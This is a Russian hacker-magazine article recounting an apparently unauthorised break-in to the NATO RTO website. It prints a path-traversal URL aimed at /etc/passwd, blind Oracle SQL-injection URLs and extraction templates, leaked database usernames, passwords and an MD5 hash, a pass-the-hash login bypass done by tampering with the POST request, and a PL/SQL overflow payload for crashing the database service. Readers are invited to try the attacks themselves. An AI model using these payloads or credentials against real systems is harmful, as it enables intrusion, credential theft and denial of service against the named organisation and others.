Содержание статьи
В моем материале ты можешь увидеть, как трудно, оказывается, сделать
правильную систему веб-аутентификации. Особенно если это касается большого
корпоративного портала. И тем более, если он отвечает за безопасность целой
страны, да притом не одной.
В нашем журнале появилась очень хорошая практика – стали публиковаться
аудиторы информационной безопасности. Очевидно, что актуальность темы аудита
возросла многократно. Наш постоянный читатель, конечно, понимает почему.
Достаточно просмотреть архивную подшивку журнала за прошедшее время и можно
смело утверждать, что с помощью технологий и программ, о которых
писали в этих "Хакерах", можно успешно воевать (и не только на коммерческом
рынке).
Кстати, про корпоративную безопасность. Многие уже давно говорят о том, что
атаки таких классов как SQL-инъекция, использование XSS, LFI/RFI или ошибок в
аутентификации, изживают свой век и более не актуальны. Многие специалисты
приводят в своих презентациях всевозможные графики, на которых отображены все
время уменьшающиеся "столбики" с процентами обнаруживаемых уязвимостей подобного
рода.
Практика показывает, что доверять таким цифрам нельзя, потому что, как
правило, в качестве исходных данных для красивых графиков используются
результаты автоматического сканирования веб-ресурсов не менее автоматическими
сканерами. Конечно, современные автоматические сканеры (подобные Acunetix, nikto,
w3af и sqlmap) уже стали похожи на искусственный интеллект – они не умеют разве
что только заваривать кофе и оказывать эскорт-услуги. Но, к сожалению, они
неспособны распознать и вскрыть правду о сложных логических ошибках
аутентификации, скрытых дефектах генерации выходных данных, а зачастую и
обработки входных данных. Надо ли говорить о простых уязвимостях, которые сами
по себе не представляют опасности, но, будучи связаны между собой, могут дать
новый вектор атаки для злоумышленника?
И вот вам, пожалуйста.
Решительное НАТО
Как известно, Организация Североатлантического договора, известная также под
аббревиатурой НАТО, является военно-политическим блоком, созданным давным-давно
для противодействия возможным военным действиям, направленным против стран
Европы и Америки. Россия (тогда еще Советский Союз) в этот блок не вошла, потому
что изначально предполагалось, что и она тоже может эти самые агрессивные
военные действия осуществлять.
В структуре НАТО существуют всякого рода организации, которые отвечают за
разработки в области безопасности – начиная от военной, научно-технической и
заканчивая информационной. И дальше речь пойдет про информационную безопасность,
а конкретнее – про научный институт Research & Technology Organisation (RTO),
созданный в рамках НАТО.
В нашем журнале уже писали об уязвимостях военных сайтов наших "союзников".
Как-то раз герои информационной войны крепко подметили, что у "сетецентрических
воинов" безопасность есть, информация есть, а вот безопасность информации – увы,
не на высоте. Ну что ж, опровергнем или подтвердим?
Первый осмотр
Научно-исследовательская организация НАТО – предприятие не из маленьких. Под
стать финансовому размаху и веб-сайт, который со временем из простой
интернет-витрины вырос в целый портал, в дебрях которого теперь хранят даже
Военную Тайну. Вот, например, для того, чтобы получить секретные доклады,
участникам не менее секретных военных симпозиумов выдают логины и пароли для
доступа к файловому серверу и веб-сайту RTO.NATO.INT. Все бы хорошо, вот только
участники подкачали – живут они в разных странах и, в основном, за тридевять
земель, а посему было велено разместить все это добро на выделенных серверах с
подключением к сети Интернет. Здесь сказочке конец, а дальше – начало процесса
независимого аудита применяемых решений по защите Военной Тайны подследственной
организации.
Посмотрим для начала на такую мелочь, как файл robots.txt:
User-agent: *
Disallow: /images/
Disallow: /img/
Disallow: /homepix/
Disallow: /rndimg/
Disallow: /Include/
Disallow: /hpix/
Disallow: /Mailer/
Disallow: /InfoPack/
Disallow: /aspx/
Disallow: /bin/
Disallow: /cgi-bin/
Disallow: /ContactUs.aspx
Disallow: /Copyright.htm
Disallow: /css/
Disallow: /Detail.asp
Disallow: /enrolments/
Disallow: /FAQ.htm
Disallow: /foad.htm
Disallow: /fr/
Disallow: /help.htm
Disallow: /pfp.ppt
...
Disallow: /Prog/
Disallow: /Reports.asp
Disallow: /SendAbstractDetails.aspx
Disallow: /tor.asp
Disallow: /Taxo/
Disallow: /Variables.asp
Disallow: /variables.asp
Disallow: /voc.htm
Disallow: /vpn.html
Disallow: /Webmail.asp
Disallow: /yourws.asp
Sitemap: http://www.rto.nato.int/sitemap.xml
Написанный явно не в 2010 году, этот путеводитель в мир конфиденциальной
информации RTO содержит в себе даже указание на конкретный файл, который можно
скачать и посмотреть (pfp.ppt). Надо ли говорить о необходимости использования
nikto для сканирования типовых каталогов, если они уже весьма "удачно"
перечислены администратором веб-сайта? Ради спортивного интереса, мы все же
запустим nikto и проверим, кто выиграл:
---------------------------------------------------------------------------
+ Target IP: 62.23.200.67
+ Target Hostname: www.rto.nato.int
+ Target Port: 80
+ Start Time: 2010-05-08 14:00:15
---------------------------------------------------------------------------
+ Server: RTA Web Server
- /robots.txt - contains 47 'disallow' entries which should be manually viewed.
(GET)
- Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD
+ OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for
debugging and should be disabled. This message does not mean it is vulnerable to
XST.
- Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ OSVDB-877: HTTP method ('Public' Header): 'TRACE' is typically only used for
debugging and should be disabled. This message does not mean it is vulnerable to
XST.
+ OSVDB-0: ETag header found on server, fields: 0x7036cddda14ca1:18b2
+ OSVDB-3092: GET /sitemap.xml : This gives a nice listing of the site content.
+ 3577 items checked: 49 item(s) reported on remote host
+ End Time: 2010-05-08 14:49:54 (2979 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Test Options: -Cgidirs all -vhost www.rto.nato.int -host www.rto.nato.int
www.rto.nato.int
Выиграл все-таки администратор сайта (еще бы, он точно знает про сайт больше,
чем nikto :)), выразим ему благодарность за отличный справочник по скрытым
страницам. Так, например, запись webmail.asp дает нам доступ к внутренней
почтовой системе, а запись Detail.asp без всяких сканеров подсказывает нам
проверить уязвимости ввода в соответствующем сценарии веб-сервера.
Параллельно ползая по сайту и проверяя все "disallow" записи в robots.txt,
подключим webscarab. В его журналах после хождения по "сайтам" часто встречаются
неожиданные "вкусности", о которые можно почесать зубы sqlmap'у и w3af'у. Только
заговорили об этом и тут же – хлоп, центральный скрипт, который принимает
занимательный параметр "topics". Очень интересным он оказывается, если
подставить в качестве топика этот же самый скрипт:
http://www.rto.nato.int/Main.asp?topic=Main.asp
При этом, если файл имеет расширение .ASP, то он интерпретируется (например,
если мы подставим "Main.asp" в качестве параметра topic, то веб-сервер уйдет в
бесконечный цикл, демонстрируя нам зазеркалье – бесконечные вложения Main.asp в
самого себя, а если мы укажем только что найденный "pfp.ppt", то получим его
бинарное содержимое).
Еще одна мелочь... в нашу свинскую копилку. Тебе, дорогой наш читатель, мы
оставляем возможность попробовать комбинации следующего вида:
http://www.rto.nato.int/Main.asp?topic=../../../../../../../../../../../etc/passwd
Oracle всемогущий, Oracle непобедимый
Уже очень долго существует миф о том, что веб-приложения, построенные с
бек-эндом в виде СУБД Oracle, неуязвимы к таким атакам как SQL-инъекции и XSS.
Миф о невозможности инъекции в Oracle появился из-за функции базы данных
использовать метку-заполнитель – при подготовке запроса оператор указывает места
(именуя или нумеруя их), где будут впоследствии размещены входные данные
SQL-запроса. Но на то он и миф, чтобы его кто-нибудь разрушил (правильное
понимание причин появление уязвимости – вот залог возможности разрушения
стереотипов). Проблемы с возможностью возникновения SQL-инъекции на самом деле
заложены не столько в базе данных, сколько в программе-оболочке, которая
реализует взаимодействие с пользователем. Для проверки достаточно ведь
использовать несколько простых приемов. Например, добавлять к параметрам строку
вида "+or+chr(77)=chr(77)". Использование функции chr() позволяет избежать
указания одинарных кавычек, которые нещадно фильтруются.
Именно это является причиной возникновения возможности проведения "слепой"
инъекции на сайте RTO. Вот, например, запрос с такой инъекцией:
метод "научного тыка":
http://www.rto.nato.int/Detail.asp?ID=-1+or+chr(77)=chr(77)
работаем с СУБД Oracle:
http://www.rto.nato.int/Detail.asp?ID=-1+or+1=(SELECT+1+FROM+DUAL)
Собственно, с помощью этой уязвимости мы и узнали, что сзади (backend)
установлена СУБД Oracle, а не MySQL или SQLite (кстати, в ней тоже возможно
провести SQL-инъекцию – журнал писал об этом в
майском номере).
Видимо, НАТОвские программисты слишком положились на безопасность Oracle и
забыли элементарные правила безопасного секса. А зря! Одна только книжка про
оракловский аудит от Ильи Медведовского и его сотрудников чего только стоит.
Слепая инъекция, конечно, потребовала от нас некоторых усилий по
автоматизации процесса. Благо, бабушкина
подшивка журнала Хакер за прошлый год помогла – в ней оказалось все, что
нужно для создания скриптов на Perl. Мы даже смогли быстро составить два запроса
– один определяет длины строки, которую мы хотим "вытащить" из базы данных, а
второй вытаскивает один символ из этой строки:
а) запрос для получения длины строки:
http://www.rto.nato.int/Detail.asp?ID=-1+OR+(select+length(table_name)+
from+user_tables+where+'%ЗДЕСЬ УСЛОВИЕ ЗАПРОСА%'+AND+rownum=1)=%ЗДЕСЬ ДЛИНА,
КОТОРУЮ ПРОВЕРЯЕМ%
б) запрос для получения строки (здесь конкретно – имени столбца в указанной
таблице):
http://www.rto.nato.int/Detail.asp?ID=-1+OR+(select+substr(column_name,%ЗДЕСЬ
ПОЗИЦИЯ СИМВОЛА В ИМЕНИ СТОЛБЦА%,1)+from+all_tab_columns+where+table_name='.%ЗДЕСЬ
ИМЯ ТАБЛИЦЫ%.'+AND+'%ЗДЕСЬ УСЛОВИЕ ЗАПРОСА%'+AND+rownum=1)=chr(%НОМЕР СИМВОЛА%)
Для того, чтобы получить только первую строку с данными из всего запроса, мы
воспользовались ключевым словом rownum диалекта SQL-базы данных Oracle, с
помощью которого можно определять условие над уже собранным набором строк с
выходными данными. Использование всевозможных технологий ускорения "слепого"
перебора оставляем для тренировки :). Есть, правда, один очень большой минус –
это количество таблиц (в том числе служебных) в базах Oracle. Вслепую
вытаскивать всю схему таблиц – титанический труд, поэтому мы интересовались
только таблицами, в названии которых есть магическое слово "PASSWORD". На
рисунке приведена схема c наиболее интересными таблицами и столбцами. На диске к
журналу ты найдешь скрипты, которыми можно пополнить эту схему :).
Среди довольно большого набора таблиц наиболее интересными кажутся вот эти:
RTO_MEMBERS.MEMBER_PASSWORD
RTO_PANEL.PANEL_PASSWORD
USER_DB_LINKS.PASSWORD
CONTACTLOGIN.CLO_PASSWORD
APPLICATIONLOGIN.PASSWORD
CONTACT.CLO_PASSWORD
Значения данных, которые в них хранятся, впечатляют не меньше, чем операция
"Анаконда" коалиционных войск в Афганистане.
USERNAME: RTAMASTER
PASSWORD: droopy
DB_LINK: TEST.RTA.INT
USERNAME: WISE
PASSWORD: BUGSBUNNY
DB_LINK: WISE_LINK
Впрочем, хранить пароли в открытом виде свойственно многим большим умам.
Кроме того, нас больше интересуют пароли, которые можно использовать для входа в
закрытую часть сайта. Используем древнегреческое знание о двоичном поиске и
запустим наш скрипт слепого перебора:
DB Scanning table rto_panel
..........[DBG: FOUND NUMBER 29.]
DB NUMBER OF ROWS FOUND: 29
Getting row 1
DB getting panel_webname
.......[DBG: FOUND NUMBER 1.]
.........[DBG: FOUND SYMBOL ' ' - 32]
DB
DB getting panel_password
.......[DBG: FOUND NUMBER 16.]
........[DBG: FOUND SYMBOL 'х' - 245]
........[DBG: FOUND SYMBOL 'ї' - 191]
. . .
.........[DBG: FOUND SYMBOL '$' - 36]
.........[DBG: FOUND SYMBOL 'Ё' - 168]
DB хїЙ)z <Ж!Д*Аt¤$Ё
DB 245|191|201|41|122|24|60|198|33|196|42|192|116|164|36|168|
DB getting panel_number
.......[DBG: FOUND NUMBER 7.]
.........[DBG: FOUND SYMBOL 'R' - 82]
. . .
........[DBG: FOUND SYMBOL 'A' - 65]
DB RTA-CSA
DB getting panel_alias
.......[DBG: FOUND NUMBER 7.]
. . .
........[DBG: FOUND SYMBOL 'A' - 65]
DB RTA-CSA
Важными столбцами из листинга для нас являются "panel_webname" и "panel_password",
последний хранит MD5 хэши паролей. Получаем все хэши и ставим их на брут. Как
правило, на этом заканчиваются все стандартные взломы, но мы пойдем дальше.
Проверка на дорогах
Доступ к закрытым зонам веб-сайта можно получить, если авторизоваться паролем
любого участника или сотрудника RTO. Для аутентификации была использована
технология "SINGLE SIGN-ON", которая позволяет использовать любые другие пароли
от аналогичных хранилищ информации:
Please authenticate to access website protected areas and the RTO
collaborative environment. Use your RTO collaborative environment credentials or
the RTO generic credentials to log on.
Понятие "единого входа", о котором талдычат НАТОвские программеры, изначально
предполагает, что в разных местах пользователь может использовать один выданный
ему логин/пароль. Здесь же это понятие сводится к тому, что в одном месте (на
сайте) можно использовать пароли от нескольких других мест. Таким образом, общая
безопасность находится на уровне самого слабого сайта, пароли от которого могут
быть введены в RTO.NATO.INT.
Раз уж пароли используют чуть ли не из мусорного бака, не стоит ли нам
повнимательнее посмотреть, как они передаются на сервер? Тут начинается самое
интересное. Оказывается, поля пользовательского ввода логина и пароля перед
отправкой обрабатываются с помощью JavaScript-функции. Для того, чтобы это чудо
инженерной мысли случилось, к основному HTML подключен файл md5.js, который
представляет собой ничто иное как реализацию алгоритма MD5 компанией RSA Data
Security (они, кстати, являются основными защитниками информации для НАТОвских
ресурсов). В конце этого файла есть замечательная функция "pw2md5(in_pw,
out_md5)", которая и вызывается при отправке логина и пароля обратно на сайт:
<form action="checkident.asp" method="post" name="frmlogon" onSubmit="return
sendData();">
. . .
. . .
function sendData()
{
var FORM = document.frmlogon;
pw2md5(FORM.MemberMatkhau,FORM.MemberMatkhau);
return true;
}
Теперь посмотрим на саму функцию pw2md5(). Она принимает на вход пароль в
чистом виде, вычисляет MD5 от него, конвертирует полученное бинарное 16-байтовое
значение в BASE64 представление и записывает в выходной параметр.
md5.js:
/*
* A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
* Digest Algorithm, as defined in RFC 1321.
* Version 2.1 Copyright (C) Paul Johnston 1999 - 2002.
* Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
* Distributed under the BSD License
* See http://pajhome.org.uk/crypt/md5 for more info.
*/
. . .
. . .
/*
* Util method added by minhnn
*/
function pw2md5(password, md5password) {
md5password.value = b64_md5(password.value) + "==";
// password.value = "";
}
Такой изумительный карточный расклад означает, что нам НЕ НУЖНО взламывать
хэши MD5! Вместо этого мы можем просто подставить значение из базы данных прямо
в форму отправки! Для этого воспользуемся онлайн-трансформером BASE64,
предварительно сделав бинарный файл с байтами MD5 хэша одного из пользователей.
Используя motobit.com,
получаем следующие данные:
USERNAME: IST
=
PASSWORD: AD2F38AEE7B3162D832624DA76983CD2
BASE64: rS84ruezFi2DJiTadpg80g=
Дальше нам очень пригодится веб-браузер Mozilla Firefox и его компонент
TamperData, чтобы подставить налету в POST-запрос вместо обычных MD5 свои,
честно подсмотренные в базе данных. Это довольно тривиальный процесс, посмотреть
на примеры можно в документации на компонент TamperData... Подставляем,
проверяем, давим кнопку "Послать"... и, как говорится в анекдоте, "детей не
люблю, но... сам процесс!". Итак, мы внутри!
Солдат, выйти из строя!
Все бы ничего, если бы нас не жгла мысль о том, что слепой SQL – это ничто
иное, как консоль к базе данных. Ведь с СУБД Oracle можно творить такое, что
никакому SQLite и MySQL и не снилось (здесь мы улыбаемся и машем Александру
Полякову, автору книги "Безопасность Oracle глазами аудитора", а также iDefense
Labs, – не знаю, кто был первый в обнаружении этой уязвимости). Наш уважаемый
коллега описывает, как можно использовать доступ к процедуре
XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA, доступной на выполнение любому
пользователю базы данных. Используя эту уязвимость в 10g можно вызвать
переполнение буфера, и служба Oracle аварийно завершит свою работу. Так что, как
только нам надоест баловаться с доступом к закрытым секциям сайта, мы делаем
следующее:
declare
a varchar2(32767);
b varchar2(32767);
begin
a:='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
b:='YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY';
a:=a||a; a:=a||a; a:=a||a; a:=a||a; a:=a||a; a:=a||a;
b:=b||b; b:=b||b; b:=b||b; b:=b||b; b:=b||b; b:=b||b;
XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA(a, b);
end;
После того, как мы запишем этот вызов в одну длинную строку запроса и вставим
на место нашей слепой инъекции, мы сможем увидеть вот такую картинку.
Конец света
Разговоры про
сетецентрические войны и ведение информационной войны – это, конечно,
хорошо. Однако опыт показывает, что просто разговоров мало – уж если мы
анализируем сайты наших НАТОвских "союзников", то и они, наверное, от нас не
отстают. На этом фоне очень огорчает наличие аналогичных проблем с безопасностью
на наших отечественных государственных сайтах. Вот, например, на сайте
Федеральной службы технического и экспортного контроля (которая со следующего
года будет защищать наши персональные данные), присутствуют все те же "мелкие"
проблемы.
Да чего уж, если порно-ролики на дорожных биллбордах Садового кольца хакеры
крутят :). Но, все-таки, хотя бы законодатели в области информационной
безопасности должны относиться к своим ресурсам ответственно. Иначе на кого же
мы будем равняться?